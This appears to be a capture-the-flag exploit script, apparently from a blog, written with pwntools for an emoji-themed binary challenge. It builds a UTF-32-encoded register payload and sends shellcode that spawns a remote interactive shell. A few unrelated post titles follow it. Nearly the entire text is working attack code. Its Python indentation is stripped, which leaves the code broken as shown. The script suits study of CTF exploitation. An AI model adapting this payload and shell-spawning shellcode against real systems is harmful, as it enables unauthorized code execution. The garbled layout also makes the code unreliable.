import sys,os,string

elf_path = './eeeeeemoji'
remote_libc_path = ''
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'

#P = ELF(elf_path)
context(os='linux',arch='amd64')
#context.terminal = ['terminator','-x','sh','-c']
context.terminal = ['tmux','split','-h']
#context.log_level = 'debug'

local = 1
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF(local_libc_x64_path)
else:
libc = ELF(local_libc_x86_path)
else:
p = remote('pwnable.org',31323)
#libc = ELF(remote_libc_path)

def debug(cmd):
gdb.attach(p,cmd)
pause()

def one_gadget(filename):
return map(int,subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def emo(a):
import struct
return (struct.pack('<I', a).decode('utf-32'))

def Pijiu():
p.recvuntil('miaow\n')
p.recvuntil('\n')
p.sendline('🍺')

def Horse():
p.recvuntil('miaow\n')
p.recvuntil('\n')
p.sendline('🐴')

def Niu():
p.recvuntil('miaow\n')
p.recvuntil('\n')
p.sendline('🐮')

def my(s):
return s.ljust(4,"\x00").decode('utf-32').encode('utf-8')

for i in range(1000):
Pijiu()

p.recvuntil('mmap() at @')
mmap_addr = int(p.recvline()[:-1],16)
log.success('mmap_addr = '+hex(mmap_addr))

if mmap_addr < 0x10ffff and (mmap_addr&0xffff) == 0x8000:
break

Horse()
#gdb.attach(p,'b *0x555555554df9')
raw_input()
payload = ''
payload+= my('^\xeb\x01')+my('Z\xeb\x01') #r15 pop rsi pop rdx
payload+= my('X\xeb\x01')+my('\x0f\x05') #r14 pop rax syscall
payload+= my('\x00')+my('\x00') #r13
payload+= my('\x00')+my('\x00') #r12
payload+= my('\x00')+my('\x00') #r11
payload+= my('\x00')+my('\x00') #r10
payload+= my('\x00')+my('\x00') #r9
payload+= my('\x00')+my('\x00') #r8
payload+= my('\x00')+my('\x00') #rbp
payload+= my('\x00')+my('\x00') #rsi
payload+= my('\x00')+my('\x00') #rdi
payload+= my('\x00')+my('\x00') #rdx
payload+= my('\x00')+my('\x00') #rcx
payload+= my('\x00')+my('\x00') #rbx
payload+= my('\x00')+my('\x00') #rax
payload+= my('\x00')+my('\x00') #rflag
payload+= my(p32(mmap_addr+0x88))+my('\x00') #rax = mmap_addr+0x88
payload+= my(p32(mmap_addr))+my('\x00')
payload+= my(p32(mmap_addr))+my('\x00')
payload+= my(p32(mmap_addr))+my('\x00')
payload+= my('\x00')+my('\x00')
payload+= 'a'*(0x80-42)
payload+= my('!\xd4') #and esp,edx
p.sendline(payload)

raw_input()
p.send('\x90'*0x20+asm(shellcraft.amd64.linux.sh()))

p.interactive()

'''
=> 0x555555554df9: call rdx

'''

playtheNew

NuLL_writeup

天枢_writeup

printpaper

childshell

打赏还是打残,这是个问题